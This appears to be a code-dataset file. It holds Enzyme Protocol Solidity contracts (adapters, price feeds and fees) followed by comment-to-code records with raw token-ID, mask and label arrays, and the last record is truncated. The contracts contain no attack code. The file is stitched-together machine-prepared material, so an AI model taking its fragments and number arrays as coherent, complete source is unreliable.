/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(uint256 wethAmount, uint256 minIbethAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = WETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = wethAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = IBETH_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIbethAmount;
} else if (_selector == REDEEM_SELECTOR) {
(uint256 ibethAmount, uint256 minWethAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = IBETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = ibethAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = WETH_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minWethAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends WETH for ibETH
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 wethAmount, ) = __decodeCallArgs(_encodedCallArgs);
IWETH(payable(WETH_TOKEN)).withdraw(wethAmount);
IAlphaHomoraV1Bank(IBETH_TOKEN).deposit{value: payable(address(this)).balance}();
}
/// @notice Redeems ibETH for WETH
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 ibethAmount, ) = __decodeCallArgs(_encodedCallArgs);
IAlphaHomoraV1Bank(IBETH_TOKEN).withdraw(ibethAmount);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingAmount_, uint256 minIncomingAmount_)
{
return abi.decode(_encodedCallArgs, (uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `IBETH_TOKEN` variable
/// @return ibethToken_ The `IBETH_TOKEN` variable value
function getIbethToken() external view returns (address ibethToken_) {
return IBETH_TOKEN;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAlphaHomoraV1Bank interface
/// @author Enzyme Council <[email protected]>
interface IAlphaHomoraV1Bank {
function deposit() external payable;
function totalETH() external view returns (uint256);
function totalSupply() external view returns (uint256);
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IAlphaHomoraV1Bank.sol";
import "../IDerivativePriceFeed.sol";
/// @title AlphaHomoraV1PriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Alpha Homora v1 ibETH
contract AlphaHomoraV1PriceFeed is IDerivativePriceFeed {
using SafeMath for uint256;
address private immutable IBETH_TOKEN;
address private immutable WETH_TOKEN;
constructor(address _ibethToken, address _wethToken) public {
IBETH_TOKEN = _ibethToken;
WETH_TOKEN = _wethToken;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Only ibETH is supported");
underlyings_ = new address[](1);
underlyings_[0] = WETH_TOKEN;
underlyingAmounts_ = new uint256[](1);
IAlphaHomoraV1Bank alphaHomoraBankContract = IAlphaHomoraV1Bank(IBETH_TOKEN);
underlyingAmounts_[0] = _derivativeAmount.mul(alphaHomoraBankContract.totalETH()).div(
alphaHomoraBankContract.totalSupply()
);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == IBETH_TOKEN;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `IBETH_TOKEN` variable
/// @return ibethToken_ The `IBETH_TOKEN` variable value
function getIbethToken() external view returns (address ibethToken_) {
return IBETH_TOKEN;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IMakerDaoPot.sol";
import "../IDerivativePriceFeed.sol";
/// @title ChaiPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Chai
contract ChaiPriceFeed is IDerivativePriceFeed {
using SafeMath for uint256;
uint256 private constant CHI_DIVISOR = 10**27;
address private immutable CHAI;
address private immutable DAI;
address private immutable DSR_POT;
constructor(
address _chai,
address _dai,
address _dsrPot
) public {
CHAI = _chai;
DAI = _dai;
DSR_POT = _dsrPot;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
/// @dev Calculation based on Chai source: https://github.com/dapphub/chai/blob/master/src/chai.sol
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Only Chai is supported");
underlyings_ = new address[](1);
underlyings_[0] = DAI;
underlyingAmounts_ = new uint256[](1);
underlyingAmounts_[0] = _derivativeAmount.mul(IMakerDaoPot(DSR_POT).chi()).div(
CHI_DIVISOR
);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == CHAI;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `CHAI` variable value
/// @return chai_ The `CHAI` variable value
function getChai() external view returns (address chai_) {
return CHAI;
}
/// @notice Gets the `DAI` variable value
/// @return dai_ The `DAI` variable value
function getDai() external view returns (address dai_) {
return DAI;
}
/// @notice Gets the `DSR_POT` variable value
/// @return dsrPot_ The `DSR_POT` variable value
function getDsrPot() external view returns (address dsrPot_) {
return DSR_POT;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @notice Limited interface for Maker DSR's Pot contract
/// @dev See DSR integration guide: https://github.com/makerdao/developerguides/blob/master/dai/dsr-integration-guide/dsr-integration-guide-01.md
interface IMakerDaoPot {
function chi() external view returns (uint256);
function rho() external view returns (uint256);
function drip() external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeBase.sol";
/// @title EntranceRateFeeBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Calculates a fee based on a rate to be charged to an investor upon entering a fund
abstract contract EntranceRateFeeBase is FeeBase {
using SafeMath for uint256;
event FundSettingsAdded(address indexed comptrollerProxy, uint256 rate);
event Settled(address indexed comptrollerProxy, address indexed payer, uint256 sharesQuantity);
uint256 private constant RATE_DIVISOR = 10**18;
IFeeManager.SettlementType private immutable SETTLEMENT_TYPE;
mapping(address => uint256) private comptrollerProxyToRate;
constructor(address _feeManager, IFeeManager.SettlementType _settlementType)
public
FeeBase(_feeManager)
{
require(
_settlementType == IFeeManager.SettlementType.Burn ||
_settlementType == IFeeManager.SettlementType.Direct,
"constructor: Invalid _settlementType"
);
SETTLEMENT_TYPE = _settlementType;
}
// EXTERNAL FUNCTIONS
/// @notice Add the fee settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settingsData Encoded settings to apply to the policy for a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData)
external
override
onlyFeeManager
{
uint256 rate = abi.decode(_settingsData, (uint256));
require(rate > 0, "addFundSettings: Fee rate must be >0");
comptrollerProxyToRate[_comptrollerProxy] = rate;
emit FundSettingsAdded(_comptrollerProxy, rate);
}
/// @notice Gets the hooks that are implemented by the fee
/// @return implementedHooksForSettle_ The hooks during which settle() is implemented
/// @return implementedHooksForUpdate_ The hooks during which update() is implemented
/// @return usesGavOnSettle_ True if GAV is used during the settle() implementation
/// @return usesGavOnUpdate_ True if GAV is used during the update() implementation
/// @dev Used only during fee registration
function implementedHooks()
external
view
override
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
)
{
implementedHooksForSettle_ = new IFeeManager.FeeHook[](1);
implementedHooksForSettle_[0] = IFeeManager.FeeHook.PostBuyShares;
return (implementedHooksForSettle_, new IFeeManager.FeeHook[](0), false, false);
}
/// @notice Settles the fee
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settlementData Encoded args to use in calculating the settlement
/// @return settlementType_ The type of settlement
/// @return payer_ The payer of shares due
/// @return sharesDue_ The amount of shares due
function settle(
address _comptrollerProxy,
address,
IFeeManager.FeeHook,
bytes calldata _settlementData,
uint256
)
external
override
onlyFeeManager
returns (
IFeeManager.SettlementType settlementType_,
address payer_,
uint256 sharesDue_
)
{
uint256 sharesBought;
(payer_, , sharesBought) = __decodePostBuySharesSettlementData(_settlementData);
uint256 rate = comptrollerProxyToRate[_comptrollerProxy];
sharesDue_ = sharesBought.mul(rate).div(RATE_DIVISOR.add(rate));
if (sharesDue_ == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
emit Settled(_comptrollerProxy, payer_, sharesDue_);
return (SETTLEMENT_TYPE, payer_, sharesDue_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `rate` variable for a fund
/// @param _comptrollerProxy The ComptrollerProxy contract for the fund
/// @return rate_ The `rate` variable value
function getRateForFund(address _comptrollerProxy) external view returns (uint256 rate_) {
return comptrollerProxyToRate[_comptrollerProxy];
}
/// @notice Gets the `SETTLEMENT_TYPE` variable
/// @return settlementType_ The `SETTLEMENT_TYPE` variable value
function getSettlementType()
external
view
returns (IFeeManager.SettlementType settlementType_)
{
return SETTLEMENT_TYPE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/EntranceRateFeeBase.sol";
/// @title EntranceRateDirectFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice An EntranceRateFee that transfers the fee shares to the fund manager
contract EntranceRateDirectFee is EntranceRateFeeBase {
constructor(address _feeManager)
public
EntranceRateFeeBase(_feeManager, IFeeManager.SettlementType.Direct)
{}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "ENTRANCE_RATE_DIRECT";
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/EntranceRateFeeBase.sol";
/// @title EntranceRateBurnFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice An EntranceRateFee that burns the fee shares
contract EntranceRateBurnFee is EntranceRateFeeBase {
constructor(address _feeManager)
public
EntranceRateFeeBase(_feeManager, IFeeManager.SettlementType.Burn)
{}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "ENTRANCE_RATE_BURN";
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract MockChaiPriceSource {
using SafeMath for uint256;
uint256 private chiStored = 10**27;
uint256 private rhoStored = now;
function drip() external returns (uint256) {
require(now >= rhoStored, "drip: invalid now");
rhoStored = now;
chiStored = chiStored.mul(99).div(100);
return chi();
}
////////////////////
// STATE GETTERS //
///////////////////
function chi() public view returns (uint256) {
return chiStored;
}
function rho() public view returns (uint256) {
return rhoStored;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/DispatcherOwnerMixin.sol";
import "./IAggregatedDerivativePriceFeed.sol";
/// @title AggregatedDerivativePriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Aggregates multiple derivative price feeds (e.g., Compound, Chai) and dispatches
/// rate requests to the appropriate feed
contract AggregatedDerivativePriceFeed is IAggregatedDerivativePriceFeed, DispatcherOwnerMixin {
event DerivativeAdded(address indexed derivative, address priceFeed);
event DerivativeRemoved(address indexed derivative);
event DerivativeUpdated(
address indexed derivative,
address prevPriceFeed,
address nextPriceFeed
);
mapping(address => address) private derivativeToPriceFeed;
constructor(
address _dispatcher,
address[] memory _derivatives,
address[] memory _priceFeeds
) public DispatcherOwnerMixin(_dispatcher) {
if (_derivatives.length > 0) {
__addDerivatives(_derivatives, _priceFeeds);
}
}
/// @notice Gets the rates for 1 unit of the derivative to its underlying assets
/// @param _derivative The derivative for which to get the rates
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The rates for the _derivative to the underlyings_
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
address derivativePriceFeed = derivativeToPriceFeed[_derivative];
require(
derivativePriceFeed != address(0),
"calcUnderlyingValues: _derivative is not supported"
);
return
IDerivativePriceFeed(derivativePriceFeed).calcUnderlyingValues(
_derivative,
_derivativeAmount
);
}
/// @notice Checks whether an asset is a supported derivative
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported derivative
/// @dev This should be as low-cost and simple as possible
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return derivativeToPriceFeed[_asset] != address(0);
}
//////////////////////////
// DERIVATIVES REGISTRY //
//////////////////////////
/// @notice Adds a list of derivatives with the given price feed values
/// @param _derivatives The derivatives to add
/// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives
function addDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds)
external
onlyDispatcherOwner
{
require(_derivatives.length > 0, "addDerivatives: _derivatives cannot be empty");
__addDerivatives(_derivatives, _priceFeeds);
}
/// @notice Removes a list of derivatives
/// @param _derivatives The derivatives to remove
function removeDerivatives(address[] calldata _derivatives) external onlyDispatcherOwner {
require(_derivatives.length > 0, "removeDerivatives: _derivatives cannot be empty");
for (uint256 i = 0; i < _derivatives.length; i++) {
require(
derivativeToPriceFeed[_derivatives[i]] != address(0),
"removeDerivatives: Derivative not yet added"
);
delete derivativeToPriceFeed[_derivatives[i]];
emit DerivativeRemoved(_derivatives[i]);
}
}
/// @notice Updates a list of derivatives with the given price feed values
/// @param _derivatives The derivatives to update
/// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives
function updateDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds)
external
onlyDispatcherOwner
{
require(_derivatives.length > 0, "updateDerivatives: _derivatives cannot be empty");
require(
_derivatives.length == _priceFeeds.length,
"updateDerivatives: Unequal _derivatives and _priceFeeds array lengths"
);
for (uint256 i = 0; i < _derivatives.length; i++) {
address prevPriceFeed = derivativeToPriceFeed[_derivatives[i]];
require(prevPriceFeed != address(0), "updateDerivatives: Derivative not yet added");
require(_priceFeeds[i] != prevPriceFeed, "updateDerivatives: Value already set");
__validateDerivativePriceFeed(_derivatives[i], _priceFeeds[i]);
derivativeToPriceFeed[_derivatives[i]] = _priceFeeds[i];
emit DerivativeUpdated(_derivatives[i], prevPriceFeed, _priceFeeds[i]);
}
}
/// @dev Helper to add derivative-feed pairs
function __addDerivatives(address[] memory _derivatives, address[] memory _priceFeeds)
private
{
require(
_derivatives.length == _priceFeeds.length,
"__addDerivatives: Unequal _derivatives and _priceFeeds array lengths"
);
for (uint256 i = 0; i < _derivatives.length; i++) {
require(
derivativeToPriceFeed[_derivatives[i]] == address(0),
"__addDerivatives: Already added"
);
__validateDerivativePriceFeed(_derivatives[i], _priceFeeds[i]);
derivativeToPriceFeed[_derivatives[i]] = _priceFeeds[i];
emit DerivativeAdded(_derivatives[i], _priceFeeds[i]);
}
}
/// @dev Helper to validate a derivative price feed
function __validateDerivativePriceFeed(address _derivative, address _priceFeed) private view {
require(_derivative != address(0), "__validateDerivativePriceFeed: Empty _derivative");
require(_priceFeed != address(0), "__validateDerivativePriceFeed: Empty _priceFeed");
require(
IDerivativePriceFeed(_priceFeed).isSupportedAsset(_derivative),
"__validateDerivativePriceFeed: Unsupported derivative"
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the registered price feed for a given derivative
/// @return priceFeed_ The price feed contract address
function getPriceFeedForDerivative(address _derivative)
external
view
override
returns (address priceFeed_)
{
return derivativeToPriceFeed[_derivative];
}
}
| @notice Trades assets on Curve @param _vaultProxy The VaultProxy of the calling fund @param _encodedCallArgs Encoded order parameters | function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata
) external onlyIntegrationManager {
(
address pool,
address outgoingAsset,
uint256 outgoingAssetAmount,
address incomingAsset,
uint256 minIncomingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
address swaps = ICurveAddressProvider(ADDRESS_PROVIDER).get_address(2);
__takeOrder(
_vaultProxy,
swaps,
pool,
outgoingAsset,
outgoingAssetAmount,
incomingAsset,
minIncomingAssetAmount
);
}
| 1,697,926 | [
1,
1609,
5489,
7176,
603,
22901,
225,
389,
26983,
3886,
1021,
17329,
3886,
434,
326,
4440,
284,
1074,
225,
389,
10787,
1477,
2615,
23306,
1353,
1472,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4862,
2448,
12,
203,
3639,
1758,
389,
26983,
3886,
16,
203,
3639,
1731,
745,
892,
389,
10787,
1477,
2615,
16,
203,
3639,
1731,
745,
892,
203,
565,
262,
3903,
1338,
15372,
1318,
288,
203,
3639,
261,
203,
5411,
1758,
2845,
16,
203,
5411,
1758,
12902,
6672,
16,
203,
5411,
2254,
5034,
12902,
6672,
6275,
16,
203,
5411,
1758,
6935,
6672,
16,
203,
5411,
2254,
5034,
1131,
20370,
6672,
6275,
203,
3639,
262,
273,
1001,
3922,
1477,
2615,
24899,
10787,
1477,
2615,
1769,
203,
203,
3639,
1758,
1352,
6679,
273,
467,
9423,
1887,
2249,
12,
15140,
67,
26413,
2934,
588,
67,
2867,
12,
22,
1769,
203,
203,
3639,
1001,
22188,
2448,
12,
203,
5411,
389,
26983,
3886,
16,
203,
5411,
1352,
6679,
16,
203,
5411,
2845,
16,
203,
5411,
12902,
6672,
16,
203,
5411,
12902,
6672,
6275,
16,
203,
5411,
6935,
6672,
16,
203,
5411,
1131,
20370,
6672,
6275,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/4/0x8deeC2c13ACcBeB97791a23D0980d16FA08F6f89/sources/DOSProxy.sol | in blocks, ~0.5 hour
| uint public refreshSystemRandomHardLimit = 130; | 8,650,477 | [
1,
267,
4398,
16,
4871,
20,
18,
25,
6126,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
1071,
4460,
3163,
8529,
29601,
3039,
273,
404,
5082,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xE39188Ddd4eb27d1D25f5f58cC6A5fD9228EEdeF/sources/contracts/plugins/assets/aave/ATokenFiatCollateral.sol | @return {ref/tok} Actual quantity of whole reference units per whole collateral tokens | function _underlyingRefPerTok() internal view override returns (uint192) {
return shiftl_toFix(rateInRAYs, -27);
}
| 17,007,955 | [
1,
2463,
288,
1734,
19,
17692,
97,
23788,
10457,
434,
7339,
2114,
4971,
1534,
7339,
4508,
2045,
287,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
